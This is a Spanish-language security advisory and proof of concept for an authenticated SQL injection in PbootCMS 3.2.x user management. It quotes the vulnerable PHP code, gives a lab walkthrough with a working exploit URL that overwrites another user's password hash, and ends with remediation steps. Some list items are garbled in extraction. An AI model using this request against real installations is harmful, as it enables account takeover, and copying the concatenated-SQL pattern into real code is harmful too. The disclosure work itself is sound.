
Prueba de concepto para CVE-2026-79387, una inyección SQL autenticada en la gestión de usuarios de PbootCMS que permite actualizaciones arbitrarias de campos y la toma de control de cuentas.
| Campo | Detalle |
|---|
| ID CVE | CVE-2026-79387 |
| Producto | PbootCMS |
| Versiones afectadas | 3.2.0 – 3.2.5, y posiblemente anteriores |
| Tipo de vulnerabilidad | Inyección SQL (CWE-89) |
| Vector de ataque | Remoto (autenticado) |
| Severidad CVSS | Alta |
| Descubridor | JihaoLi |
| Proveedor | https://www.pbootcms.com/ |
Existe una vulnerabilidad de inyección SQL en el módulo de gestión de usuarios de PbootCMS V3.2.5. La vulnerabilidad reside en el método mod() de /apps/admin/controller/system/UserController.php (línea 149) y en el método modUser() de /apps/admin/model/system/UserModel.php.
El parámetro field está completamente controlado por el usuario a través de una solicitud GET sin ninguna validación de lista blanca. El parámetro value también está controlado por el usuario y se concatena directamente en la sentencia SQL UPDATE. Un atacante autenticado puede especificar cualquier columna de la base de datos como field (por ejemplo, password, username, status, role), lo que permite la manipulación arbitraria de datos.
// UserController.php - método mod()
if (($field = get('field', 'var')) && ! is_null($value = get('value', 'var'))) {
if ($this->model->modUser($ucode, "$field='$value',update_user='" . session('username') . "'")) {
location(- 1);
}
}
$field y $value se toman directamente de la superglobal $_GET y se concatenan en una cadena SQL sin saneamiento, sin lista blanca y sin consultas parametrizadas. Esta cadena se pasa luego a UserModel::modUser(), que la reenvía al método base Model::update(). Dado que el argumento es una cadena (no un array), se omite la validación de nombres de campo checkKey() y se incrusta textualmente en la cláusula SET:
UPDATE ay_user SET <controlado-por-usuario>= '<controlado-por-usuario>', update_user='admin' WHERE ucode='<ucode>'
GET /admin.php?p=/User/mod&ucode=10002&field=password&value=<MD5>
→ UserController::mod()
→ UserModel::modUser($ucode, "password='<value>',update_user='admin'")
→ Model::table('ay_user')->where("ucode='$ucode'")->update($data_string)
→ SQL: UPDATE ay_user SET password='<value>',update_user='admin' WHERE ucode='10002'
Un atacante autenticado puede:
ucode=10001).value permite el escape de comillas simples, lo que potencialmente habilita ataques basados en consultas apiladas o tautologías.Esto conduce a la toma de control de cuentas y al control total del backend del CMS.
192.168.1.104, Apache/PHP 7.2.1/SQLite)Acceda al panel de administración de PbootCMS e inicie sesión con la cuenta admin predeterminada.

Navegue a Gestión del sistema → Gestión de usuarios → Añadir usuario. Cree un nuevo usuario:
admin2admin
La lista de usuarios confirma admin2 con ucode=10002:

Abra una nueva ventana del navegador. Intente iniciar sesión como admin2 con la contraseña 123456 — esto falla porque la contraseña real es admin:

Usando el navegador del administrador ya conectado, navegue a:
http://192.168.1.104/PbootCMS/admin.php?p=/User/mod&ucode=10002&field=password&value=14e1b600b1fd579f47433b88e8d85291
14e1b600b1fd579f47433b88e8d85291es el hash MD5 de123456.
El método mod() ejecuta la inyección y redirige mediante location(-1):

Ahora intente iniciar sesión con admin2 / 123456:

La contraseña se ha cambiado exitosamente mediante inyección SQL. El usuario ahora ha iniciado sesión con la nueva contraseña, lo que confirma la toma de control total de la cuenta.

Cuando update() recibe un argumento de cadena, se utiliza tal cual en la cláusula SET sin ningún escape:
final public function update($data = null)
{
if (is_array($data)) {
// Ruta de array: checkKey() valida los nombres de campo
...
} else {
// Ruta de cadena: SIN VALIDACIÓN ALGUNA
$update_string = $data;
}
$this->sql['value'] = $update_string;
$sql = $this->buildSql($this->updateSql);
return $this->getDb()->amd($sql); // Ejecución directa, sin sentencias preparadas
}
field — solo permitir nombres de columna conocidos (status, username, realname, password).$value para evitar la ruptura de comillas.field es password, aplicar encrypt_string() al valor antes de almacenarlo.mod() debe requerir un token CSRF válido y una verificación de autorización a nivel de rol.Divulgación: Esta vulnerabilidad fue divulgada de manera responsable al proveedor. Si está ejecutando una versión afectada, actualice inmediatamente y audite todas las cuentas del backend.